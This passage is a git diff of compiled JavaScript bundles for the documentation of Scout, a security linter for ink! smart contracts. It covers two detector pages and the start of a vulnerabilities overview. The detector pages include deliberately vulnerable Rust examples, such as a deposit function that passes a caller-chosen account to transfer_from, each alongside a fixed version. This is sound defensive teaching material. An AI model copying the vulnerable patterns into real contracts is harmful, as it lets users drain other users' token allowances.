n=e.components,r=e.mdxType,l=e.originalType,i=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=c(n),m=r,f=p["".concat(i,".").concat(m)]||p[m]||d[m]||l;return n?a.createElement(f,o(o({ref:t},u),{},{components:n})):a.createElement(f,o({ref:t},u))}));function f(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var l=n.length,o=new Array(l);o[0]=m;var s={};for(var i in t)hasOwnProperty.call(t,i)&&(s[i]=t[i]);s.originalType=e,s[p]="string"==typeof e?e:r,o[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>o,default:()=>d,frontMatter:()=>l,metadata:()=>s,toc:()=>c});var a=n(2564),r=(n(9496),n(9613));const l={},o="Lazy values get and not set",s={unversionedId:"detectors/lazy-values-not-set",id:"detectors/lazy-values-not-set",title:"Lazy values get and not set",description:"What it does",source:"@site/docs/detectors/28-lazy-values-not-set.md",sourceDirName:"detectors",slug:"/detectors/lazy-values-not-set",permalink:"/scout/docs/detectors/lazy-values-not-set",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/28-lazy-values-not-set.md",tags:[],version:"current",sidebarPosition:28,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy storage on delegate",permalink:"/scout/docs/detectors/lazy-delegate"},next:{title:"Don't use instantiate_contract_v1",permalink:"/scout/docs/detectors/dont-use-instantiate-contract-v1"}},i={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:c},p="wrapper";function d(e){let{components:t,...n}=e;return(0,r.kt)(p,(0,a.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"lazy-values-get-and-not-set"},"Lazy values get and not set"),(0,r.kt)("h3",{id:"what-it-does"},"What it does"),(0,r.kt)("p",null,"Check that if ",(0,r.kt)("inlineCode",{parentName:"p"},"get")," is used on a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," or ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," variable, ",(0,r.kt)("inlineCode",{parentName:"p"},"set")," or ",(0,r.kt)("inlineCode",{parentName:"p"},"insert")," is subsequently used to change its value."),(0,r.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"get")," function of a ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," or a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," returns a local copy of the value, so changes made to that variable aren't automatically saved in the storage. To save those changes, you must call the ",(0,r.kt)("inlineCode",{parentName:"p"},"insert")," function in the case of a ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping"),", or ",(0,r.kt)("inlineCode",{parentName:"p"},"set")," in the case of a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy"),"."),(0,r.kt)("p",null,"As indicated ",(0,r.kt)("a",{parentName:"p",href:"https://use.ink/datastructures/mapping#updating-values"},"here"),', it\'s a common pitfall that we decided to warn about, even though there are cases like getter functions where using "get" is necessary and not modifying the value. For cases like this, you can ignore the lint by adding #',"[allow(lazy_values_not_set)]"," immediately before the function definition."),(0,r.kt)("h4",{id:"more-info"},"More info"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/mapping#updating-values"},"https://use.ink/datastructures/mapping#updating-values"))),(0,r.kt)("h3",{id:"example"},"Example"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message, payable)]\n pub fn transfer(&mut self) {\n let caller = self.env().caller();\n let mut balance = self.balances.get(caller).unwrap_or(0);\n let endowment = self.env().transferred_value();\n balance += endowment;\n }\n")),(0,r.kt)("p",null,"Use instead:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message, payable)]\n pub fn transfer(&mut self) {\n let caller = self.env().caller();\n let mut balance = self.balances.get(caller).unwrap_or(0);\n let endowment = self.env().transferred_value();\n balance += endowment;\n self.balances.insert(caller, &balance);\n }\n")),(0,r.kt)("p",null,"If you want to ignore the lint in getter functions do:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n #[allow(lazy_values_not_set)]\n pub fn get_balance(&self) -> Option {\n let caller = self.env().caller();\n self.balances.get(caller)\n }\n")),(0,r.kt)("h3",{id:"implementation"},"Implementation"),(0,r.kt)("p",null,"The detector's implementation can be found at ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/lazy-values-not-set"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/10e1de95.1a797c66.js b/assets/js/10e1de95.1a797c66.js deleted file mode 100644 index 9e85f30e..00000000 --- a/assets/js/10e1de95.1a797c66.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7139],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function s(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var i=r.createContext({}),c=function(e){var t=r.useContext(i),n=t;return e&&(n="function"==typeof e?e(t):s(s({},t),e)),n},u=function(e){var t=c(e.components);return r.createElement(i.Provider,{value:t},e.children)},p="mdxType",f={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},d=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,a=e.originalType,i=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),p=c(n),d=o,m=p["".concat(i,".").concat(d)]||p[d]||f[d]||a;return n?r.createElement(m,s(s({ref:t},u),{},{components:n})):r.createElement(m,s({ref:t},u))}));function m(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=n.length,s=new Array(a);s[0]=d;var l={};for(var i in t)hasOwnProperty.call(t,i)&&(l[i]=t[i]);l.originalType=e,l[p]="string"==typeof e?e:o,s[1]=l;for(var c=2;c{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>s,default:()=>f,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var r=n(2564),o=(n(9496),n(9613));const a={},s="Unrestricted Transfer From",l={unversionedId:"detectors/unrestricted-transfer-from",id:"detectors/unrestricted-transfer-from",title:"Unrestricted Transfer From",description:"What it does",source:"@site/docs/detectors/14-unrestricted-transfer-from.md",sourceDirName:"detectors",slug:"/detectors/unrestricted-transfer-from",permalink:"/scout/docs/detectors/unrestricted-transfer-from",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/14-unrestricted-transfer-from.md",tags:[],version:"current",sidebarPosition:14,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Insuficciently random values",permalink:"/scout/docs/detectors/insufficiently-random-values"},next:{title:"Assert violation",permalink:"/scout/docs/detectors/assert-violation"}},i={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:c},p="wrapper";function f(e){let{components:t,...n}=e;return(0,o.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"unrestricted-transfer-from"},"Unrestricted Transfer From"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"It warns you if a ",(0,o.kt)("inlineCode",{parentName:"p"},"transfer_from")," function is called with a user-defined parameter in the ",(0,o.kt)("inlineCode",{parentName:"p"},"from")," field."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"An user Alice can approve a contract to spend their tokens. An user Bob can call that contract, use that allowance to send themselves Alice's tokens. "),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"None."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},'// build_call example\n #[ink(message)]\n pub fn deposit(&mut self, from: AccountId) -> Result<(), Error> {\n let call_params = build_call::()\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!(\n "PSP22::transfer_from"\n )))\n .push_arg(from)\n .push_arg(self.env().account_id())\n .push_arg(self.amount)\n .push_arg([0u8]),\n )\n }\n// ContractRef example\n #[ink(message)]\n pub fn deposit(&mut self, from: AccountId) -> Result<(), Error> {\n let res = PSP22Ref::transfer_from(\n &self.psp22_address,\n from,\n self.env().account_id(),\n self.amount,\n vec![],\n );\n }\n')),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},'// build_call example\n pub fn deposit(&mut self) -> Result<(), Error> {\n let call_params = build_call::()\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!(\n "PSP22::transfer_from"\n )))\n .push_arg(self.env().caller())\n .push_arg(self.env().account_id())\n .push_arg(self.amount)\n .push_arg([0u8]),\n )\n }\n\n// ContractRef example\n pub fn deposit(&mut self) -> Result<(), Error> {\n let res = PSP22Ref::transfer_from(\n &self.psp22_address,\n self.env().caller(),\n self.env().account_id(),\n self.amount,\n vec![],\n );\n }\n\n')),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unrestricted-transfer-from"},"this link"),"."))}f.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/10e1de95.1ebd0e70.js b/assets/js/10e1de95.1ebd0e70.js new file mode 100644 index 00000000..b9d0520f --- /dev/null +++ b/assets/js/10e1de95.1ebd0e70.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7139],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function s(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var i=r.createContext({}),c=function(e){var t=r.useContext(i),n=t;return e&&(n="function"==typeof e?e(t):s(s({},t),e)),n},u=function(e){var t=c(e.components);return r.createElement(i.Provider,{value:t},e.children)},p="mdxType",f={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},d=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,i=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),p=c(n),d=a,m=p["".concat(i,".").concat(d)]||p[d]||f[d]||o;return n?r.createElement(m,s(s({ref:t},u),{},{components:n})):r.createElement(m,s({ref:t},u))}));function m(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,s=new Array(o);s[0]=d;var l={};for(var i in t)hasOwnProperty.call(t,i)&&(l[i]=t[i]);l.originalType=e,l[p]="string"==typeof e?e:a,s[1]=l;for(var c=2;c{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>s,default:()=>f,frontMatter:()=>o,metadata:()=>l,toc:()=>c});var r=n(2564),a=(n(9496),n(9613));const o={},s="Unrestricted Transfer From",l={unversionedId:"detectors/unrestricted-transfer-from",id:"detectors/unrestricted-transfer-from",title:"Unrestricted Transfer From",description:"What it does",source:"@site/docs/detectors/14-unrestricted-transfer-from.md",sourceDirName:"detectors",slug:"/detectors/unrestricted-transfer-from",permalink:"/scout/docs/detectors/unrestricted-transfer-from",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/14-unrestricted-transfer-from.md",tags:[],version:"current",sidebarPosition:14,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Insuficciently random values",permalink:"/scout/docs/detectors/insufficiently-random-values"},next:{title:"Assert violation",permalink:"/scout/docs/detectors/assert-violation"}},i={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:c},p="wrapper";function f(e){let{components:t,...n}=e;return(0,a.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"unrestricted-transfer-from"},"Unrestricted Transfer From"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"It warns you if a ",(0,a.kt)("inlineCode",{parentName:"p"},"transfer_from")," function is called with a user-defined parameter in the ",(0,a.kt)("inlineCode",{parentName:"p"},"from")," field."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"An user Alice can approve a contract to spend their tokens. An user Bob can call that contract, use that allowance to send themselves Alice's tokens. "),(0,a.kt)("h3",{id:"known-problems"},"Known problems"),(0,a.kt)("p",null,"Could generate false positives when using ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/Cardinal-Cryptography/PSP22"},"Cardinal Cryptography's PSP22"),"."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'// build_call example\n #[ink(message)]\n pub fn deposit(&mut self, from: AccountId) -> Result<(), Error> {\n let call_params = build_call::()\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!(\n "PSP22::transfer_from"\n )))\n .push_arg(from)\n .push_arg(self.env().account_id())\n .push_arg(self.amount)\n .push_arg([0u8]),\n )\n }\n// ContractRef example\n #[ink(message)]\n pub fn deposit(&mut self, from: AccountId) -> Result<(), Error> {\n let res = PSP22Ref::transfer_from(\n &self.psp22_address,\n from,\n self.env().account_id(),\n self.amount,\n vec![],\n );\n }\n')),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'// build_call example\n #[ink(message)]\n pub fn deposit(&mut self) -> Result<(), Error> {\n let call_params = build_call::()\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!(\n "PSP22::transfer_from"\n )))\n .push_arg(self.env().caller())\n .push_arg(self.env().account_id())\n .push_arg(self.amount)\n .push_arg([0u8]),\n )\n }\n\n// ContractRef example\n #[ink(message)]\n pub fn deposit(&mut self) -> Result<(), Error> {\n let res = PSP22Ref::transfer_from(\n &self.psp22_address,\n self.env().caller(),\n self.env().account_id(),\n self.amount,\n vec![],\n );\n }\n\n')),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unrestricted-transfer-from"},"this link"),"."))}f.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/124edd55.409b8435.js b/assets/js/124edd55.409b8435.js deleted file mode 100644 index 82ec3521..00000000 --- a/assets/js/124edd55.409b8435.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4205],{9613:(e,t,a)=>{a.d(t,{Zo:()=>u,kt:()=>m});var n=a(9496);function i(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function r(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),a.push.apply(a,n)}return a}function o(e){for(var t=1;t=0||(i[a]=e[a]);return i}(e,t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,a)&&(i[a]=e[a])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),a=t;return e&&(a="function"==typeof e?e(t):o(o({},t),e)),a},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},d="mdxType",h={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},p=n.forwardRef((function(e,t){var a=e.components,i=e.mdxType,r=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),d=c(a),p=i,m=d["".concat(s,".").concat(p)]||d[p]||h[p]||r;return a?n.createElement(m,o(o({ref:t},u),{},{components:a})):n.createElement(m,o({ref:t},u))}));function m(e,t){var a=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var r=a.length,o=new Array(r);o[0]=p;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[d]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{a.r(t),a.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>h,frontMatter:()=>r,metadata:()=>l,toc:()=>c});var n=a(2564),i=(a(9496),a(9613));const r={sidebar_position:2},o="Vulnerabilities",l={unversionedId:"vulnerabilities/README",id:"vulnerabilities/README",title:"Vulnerabilities",description:"This section lists relevant security-related issues typically introduced during the development of smart contracts in Substrate Ink!. While many of these issues can be generalized to Substrate-based networks, that is not always the case. The list, though non-exhaustive, features highly relevant items. Each issue is assigned a severity label based on the taxonomy presented below.",source:"@site/docs/vulnerabilities/README.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/",permalink:"/scout/docs/vulnerabilities/",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/README.md",tags:[],version:"current",sidebarPosition:2,frontMatter:{sidebar_position:2},sidebar:"docsSidebar",previous:{title:"Getting Started",permalink:"/scout/docs/intro"},next:{title:"Integer overflow or underflow",permalink:"/scout/docs/vulnerabilities/integer-overflow-or-underflow"}},s={},c=[{value:"Vulnerability Severity",id:"vulnerability-severity",level:2},{value:"Vulnerability Categories",id:"vulnerability-categories",level:2},{value:"Vulnerability Classes",id:"vulnerability-classes",level:2},{value:"1 - Integer overflow or underflow",id:"1---integer-overflow-or-underflow",level:3},{value:"2 - Set contract storage",id:"2---set-contract-storage",level:3},{value:"3 - Reentrancy",id:"3---reentrancy",level:3},{value:"4 - Panic error",id:"4---panic-error",level:3},{value:"5 - Unused return enum",id:"5---unused-return-enum",level:3},{value:"6 - DoS unbounded operation",id:"6---dos-unbounded-operation",level:3},{value:"7 - DoS unexpected revert with vector",id:"7---dos-unexpected-revert-with-vector",level:3},{value:"8 - Unsafe expect",id:"8---unsafe-expect",level:3},{value:"9 - Unsafe unrwap",id:"9---unsafe-unrwap",level:3},{value:"10 - Divide before multiply",id:"10---divide-before-multiply",level:3},{value:"11 - Delegate call",id:"11---delegate-call",level:3},{value:"12 - Zero or test address",id:"12---zero-or-test-address",level:3},{value:"13 - Insufficiently random values",id:"13---insufficiently-random-values",level:3},{value:"14 - Unrestricted transfer from",id:"14---unrestricted-transfer-from",level:3},{value:"15 - Assert violation",id:"15---assert-violation",level:3},{value:"16 - Avoid core::mem::forget",id:"16---avoid-corememforget",level:3},{value:"17 - Avoid format! macro",id:"17---avoid-format-macro",level:3},{value:"18 - Unprotected self destruct",id:"18---unprotected-self-destruct",level:3},{value:"19 - Iterators over indexing",id:"19---iterators-over-indexing",level:3},{value:"20 - Ink version",id:"20---ink-version",level:3},{value:"21 - Unprotected set code hash",id:"21---unprotected-set-code-hash",level:3},{value:"22 - Unprotected mapping operation",id:"22---unprotected-mapping-operation",level:3},{value:"23 - Lazy storage on delegate",id:"23---lazy-storage-on-delegate",level:3}],u={toc:c},d="wrapper";function h(e){let{components:t,...a}=e;return(0,i.kt)(d,(0,n.Z)({},u,a,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"vulnerabilities"},"Vulnerabilities"),(0,i.kt)("p",null,"This section lists relevant security-related issues typically introduced during the development of smart contracts in Substrate Ink!. While many of these issues can be generalized to Substrate-based networks, that is not always the case. The list, though non-exhaustive, features highly relevant items. Each issue is assigned a severity label based on the taxonomy presented below."),(0,i.kt)("h2",{id:"vulnerability-severity"},"Vulnerability Severity"),(0,i.kt)("p",null,"This severity classification, although arbitrary, has been used in hundreds\nof security audits and helps to understand the vulnerabilities we introduce\nand measure the utility of this proof of concept."),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Critical"),": These issues seriously compromise the system and must be addressed immediately."),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Medium"),": These are potentially exploitable issues which might represent\na security risk in the near future. We suggest fixing them as soon as possible."),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Minor"),": These issues represent problems that are relatively small or difficult to exploit, but might be exploited in combination with other issues. These kinds of issues do not block deployments in production environments. They should be taken into account and fixed when possible."),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Enhancement"),": This class relates to issues stemming from deviations from best practices or stylistic conventions, which could escalate into higher-priority issues due to other changes. For instance, these issues may lead to development errors in future updates.")),(0,i.kt)("h2",{id:"vulnerability-categories"},"Vulnerability Categories"),(0,i.kt)("p",null,'We follow with a taxonomy of Vulnerabilities. Many "top vulnerability" lists\ncan be found covering Ethereum/Solidity smart contracts. This list below is\nused by the Coinfabrik Audit Team, when source code (security) audits in\nEthereum/Solidity, Stacks/Clarity, Algorand/PyTEAL /TEAL, Solana/RUST, etc.\nThe team discusses the creation of the list in this\n',(0,i.kt)("a",{parentName:"p",href:"https://blog.coinfabrik.com/analysis-categories/"},"blogpost"),"."),(0,i.kt)("table",null,(0,i.kt)("thead",{parentName:"table"},(0,i.kt)("tr",{parentName:"thead"},(0,i.kt)("th",{parentName:"tr",align:null},"Category"),(0,i.kt)("th",{parentName:"tr",align:null},"Description"))),(0,i.kt)("tbody",{parentName:"table"},(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Arithmetic"),(0,i.kt)("td",{parentName:"tr",align:null},"Proper usage of arithmetic and number representation.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Assembly Usage"),(0,i.kt)("td",{parentName:"tr",align:null},"Detailed analysis of implementations using assembly.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Authorization"),(0,i.kt)("td",{parentName:"tr",align:null},"Vulnerabilities related to insufficient access control or incorrect authorization implementation.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Best practices"),(0,i.kt)("td",{parentName:"tr",align:null},"Conventions and best practices for improved code quality and vulnerability prevention.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Block attributes"),(0,i.kt)("td",{parentName:"tr",align:null},"Appropriate usage of block attributes, especially when used as a source of randomness.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Centralization"),(0,i.kt)("td",{parentName:"tr",align:null},"Analysis of centralization and single points of failure.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Denial of Service"),(0,i.kt)("td",{parentName:"tr",align:null},"Denial of service. attacks.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Gas Usage"),(0,i.kt)("td",{parentName:"tr",align:null},"Performance issues, enhancements and vulnerabilities related to use of gas.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Known Bugs"),(0,i.kt)("td",{parentName:"tr",align:null},"Known issues that remain unresolved.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"MEV"),(0,i.kt)("td",{parentName:"tr",align:null},"Patterns that could lead to the exploitation of Maximal Extractable Value.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Privacy"),(0,i.kt)("td",{parentName:"tr",align:null},"Patterns revealing sensible user or state data.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Reentrancy"),(0,i.kt)("td",{parentName:"tr",align:null},"Consistency of contract state under recursive calls.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Unexpected transfers"),(0,i.kt)("td",{parentName:"tr",align:null},"Contract behavior under unexpected or forced transfers of tokens.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Upgradability"),(0,i.kt)("td",{parentName:"tr",align:null},"Proxy patterns and upgradable smart contracts.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Validations and error handling"),(0,i.kt)("td",{parentName:"tr",align:null},"Handling of errors, exceptions and parameters.")))),(0,i.kt)("p",null,"We used the above Vulnerability Categories, along with common examples of vulnerabilities detected within each category in other blockchains, as a guideline for finding and developing vulnerable examples of Substrate Ink! smart contracts."),(0,i.kt)("h2",{id:"vulnerability-classes"},"Vulnerability Classes"),(0,i.kt)("p",null,"As a result of our research, we have so far identified thirteen types of vulnerabilities."),(0,i.kt)("p",null,"What follows is a description of each vulnerability in the context of ink! smart contracts. In each case, we have produced at least one ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases"},"test-case")," smart contract that exposes one of these vulnerabilities."),(0,i.kt)("p",null,"Check our\n",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases"},"test-cases"),"\nfor code examples of these vulnerabilities and their respective remediations."),(0,i.kt)("h3",{id:"1---integer-overflow-or-underflow"},"1 - Integer overflow or underflow"),(0,i.kt)("p",null,"This type of vulnerability occurs when an arithmetic operation attempts to\ncreate a numeric value that is outside the valid range in substrate, e.g,\na ",(0,i.kt)("inlineCode",{parentName:"p"},"u8")," unsigned integer can be at most ",(0,i.kt)("em",{parentName:"p"},"M:=2^8-1=255"),", hence the sum ",(0,i.kt)("inlineCode",{parentName:"p"},"M+1"),"\nproduces an overflow."),(0,i.kt)("p",null,"An overflow/underflow is typically caught and generates an error. When it\nis not caught, the operation will result in an inexact result which could\nlead to serious problems."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Arithmetic")," category and assigned it a\nCritical severity."),(0,i.kt)("p",null,"In the context of Substrate, we found that this vulnerability could only be\nrealized if overflow and underflow checks are disabled during compilation.\nNotwithstanding, there are contexts where developers do turn off checks for\nvalid reasons and hence the reason for including this vulnerability in the\nlist."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/integer-overflow-or-underflow"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"2---set-contract-storage"},"2 - Set contract storage"),(0,i.kt)("p",null,"Smart contracts can store important information in memory which changes through the contract's lifecycle. Changes happen via user interaction with the smart contract. An ",(0,i.kt)("em",{parentName:"p"},"unauthorized")," set contract storage vulnerability happens when a smart contract call allows a user to set or modify contract memory when they were not supposed to be authorized."),(0,i.kt)("p",null,"Common practice is to have functions with the ability to change\nsecurity-relevant values in memory to be only accessible to specific roles,\ne.g, only an admin can call the function ",(0,i.kt)("inlineCode",{parentName:"p"},"reset()")," which resets auction values.\nWhen this does not happen, arbitrary users may alter memory which may impose\ngreat damage to the smart contract users."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category and assigned it a\nCritical severity."),(0,i.kt)("p",null,"In ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," the function ",(0,i.kt)("inlineCode",{parentName:"p"},"set_contract_storage(key: &K, value: &V)")," can be used\nto modify the contract storage under a given key. When a smart contract uses\nthis function, the contract needs to check if the caller should be able to\nalter this storage. If this does not happen, an arbitary caller may modify\nbalances and other relevant contract storage."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/set-contract-storage"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"3---reentrancy"},"3 - Reentrancy"),(0,i.kt)("p",null,"An ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," smart contract can interact with other smart contracts. These\noperations imply (external) calls where control flow is passed to the called\ncontract until the execution of the called code is over, then the control is\ndelivered back to the caller. A ",(0,i.kt)("em",{parentName:"p"},"reentrancy")," vulnerability may happen when a\nuser calls a function, this function calls a malicious contract which again\ncalls this same function, and this 'reentrancy' has unexpected 